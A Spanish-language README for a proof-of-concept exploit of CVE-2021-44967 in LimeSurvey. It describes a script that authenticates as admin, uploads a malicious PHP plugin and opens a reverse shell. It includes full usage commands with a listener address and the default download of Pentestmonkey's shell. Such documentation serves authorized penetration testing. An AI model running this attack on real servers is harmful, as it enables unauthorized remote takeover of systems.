
Exploit de prueba de concepto para CVE-2021-44967 que permite la ejecución remota de código en LimeSurvey 5.2.4 mediante la carga de un plugin malicioso, con capacidad de shell inversa.
Prueba de concepto para CVE-2021-44967. El script se autentica en LimeSurvey, sube y activa un plugin PHP, y desencadena una reverse shell.
Utiliza esto únicamente contra sistemas que poseas o estés autorizado a probar.
beautifulsoup4, netifaces y requestsnc disponible en PATHCrea un entorno aislado e instala los paquetes de Python:
python3 -m venv .venv
source .venv/bin/activate
python -m pip install beautifulsoup4 netifaces requests
python3 limesurvey_rce.py \
--url https://target.example \
--username admin \
--password 'password' \
--listen-ip tun0 \
--listen-port 4444
--listen-ip acepta una dirección IPv4 o un nombre de interfaz y por defecto es tun0. Si se omite --file, el script descarga la reverse shell PHP de Pentestmonkey y la configura con la dirección del listener. Pasa --file payload.php para proporcionar en su lugar un payload PHP local.
Ejecuta python3 limesurvey_rce.py --help para ver todas las opciones, incluidos los ajustes de proxy y de User-Agent personalizado.
El exploit se probó contra LimeSurvey Community Edition 6.6.4. El registro del CVE describe el problema en LimeSurvey 5.2.4.